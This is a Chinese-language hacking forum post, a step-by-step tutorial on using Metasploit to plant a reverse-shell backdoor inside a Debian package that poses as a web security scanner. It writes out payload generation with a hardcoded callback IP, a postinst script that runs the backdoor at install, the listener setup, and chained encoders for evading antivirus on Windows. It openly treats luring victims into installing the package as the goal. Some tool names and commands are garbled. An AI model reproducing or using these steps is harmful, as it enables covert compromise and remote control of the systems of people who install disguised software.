利用Metasploit打造简易deb后门

[复制链接]
查看319 | 回复0 | 2012-4-1 19:22:58 | 显示全部楼层 |阅读模式
     M单机传奇里面有很多很好用的模块,既可以在Console控制台里面配合其他一起使用,也可以单独导出文件来使用,下面就利用其中的Reverse_tcp模块来打造简易deb后门。

     首先当然制作用来反弹shell的二进制文件了,利用一个payload:linux/x86/shell/reverse_tcp。执行命令:
[blockquote]
hakz@H4ck3r:~$m单机传奇payloadlinux/x86/shell/reverse_tcpLHOST=222.222.204.53LPORT=12345X>/tmp/bd/backdoor

Createdbym单机传奇payload(http://www.metasploit.com).

Payload:linux/x86/shell/reverse_tcp

Length:50

OptionsHOST=222.222.204.53,LPORT=12345
[/blockquote]
     然后开始制作deb包,这里假设已经有了一个名为xxscan.deb的安装包,既然要植入后门,那么就得修改下相应的配置信息,先将deb包中的内容提取出来:
[blockquote]
hakz@H4ck3r:/tmp/bd$dpkg-xxxscan.debscanner
[/blockquote]
     然后将之前的backdoor弄进来替换:
[blockquote]
hakz@H4ck3r:/tmp/bd$cpbackdoor./scanner/opt/xxscanner_auth
[/blockquote]
     为了重生成deb包,按照相应的格式,在scanner里面建立名为DEBIAN的子目录,并创建control文件用来显示版本等信息,格式如下:
[blockquote]
hakz@H4ck3r:/tmp/bd/scanner/DEBIAN$catcontrol

Package:xxscanner

Version:1.0Beta

Section:xxscanner

Priority:optional

Architecture:i386

Maintainer:UbuntuMOTUDevelopers(ubuntu-motu@lists.ubuntu.com)

Description:xxscanerisasemi-automated,largelypassivewebapplicationsecurityaudittool,optimizedforanaccurateandsensitivedetection,andautomaticannotation,ofpotentialproblemsandsecurity-relevantdesignpatternsbasedontheobservationofexisting,user-initiatedtrafficincomplexweb2.0environments.
[/blockquote]
     然后创建软件包安装后的配置脚本文件postinst,如下:
[blockquote]
hakz@H4ck3r:/tmp/bd/pentest/DEBIAN$catpostinst

#!/bin/sh
sudochmod2755/opt/scanner/xxscanner_auth&&/opt/scanner/xxscanner_auth&/opt/scanner/xxscanner&
[/blockquote]
     赋予其可执行权限:
[blockquote]
hakz@H4ck3r:/tmp/bd/pentest/DEBIAN$chmod755postinst
[/blockquote]
     创建新的软件包:   
[blockquote]
hakz@H4ck3r:/tmp/bd/pentest$dpkg-deb-b/tmp/bd/scanner/

dpkg-deb:正在新建软件包“xxscaner”,包文件为“/tmp/bd/scanner.deb”。
[/blockquote]
     OK,到这里,一个简单的后门deb包就制作成功了,下面进入m单机传奇等待连接:
[blockquote]
hakz@H4ck3r:/tmp/bd/pentest$m单机传奇cliexploit/multi/handlerPAYLOAD=linux/x86/shell/reverse_tcpLHOST=222.222.204.53LPORT=12345E
  • Pleasewaitwhileweloadthemoduletree…
  • Startedreversehandleron222.222.204.53:12345
  • Startingthepayloadhandler…
    [/blockquote]
         一旦发布出去的scanner.deb有人运行之后,控制台里面就能收到反弹回来的shell了,之后就可以尽情操作了,至于具体绑定神马后门以及如何发布出去诱使运行就不多说了,各有所爱,那就仁者见仁,智者见智了,该法在Windows平台下亦可实施成功,考虑到杀软的问题,在生成之前可以通过管道进行Encoder:
    [blockquote]
    hakz@H4ck3rm单机传奇payloadwindows/shell_reverse_tcpLHOST=222.222.204.53LPORT=12345R|./m单机传奇encode-ex86/shikata_ga_nai-traw-c5|./m单机传奇encode-ex86/call4_dword_xor-traw-c5|./m单机传奇encode-ex86/countdown-texe>/tmp/bd/door.exe
    [/blockquote]
         这里先后5+1次共11次编码,应该是能够行了,万一依旧无法躲过杀软的魔掌那就自行免杀吧,不过今天测试的时候未Encoder生成后直接上传Virscan.org上面只有BitDefender检测出来了,貌似还不错的样子,归根到底还要数Metasploit这个好东西了,哈哈,杀人放火必备之精品~lol

    *
  • 发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则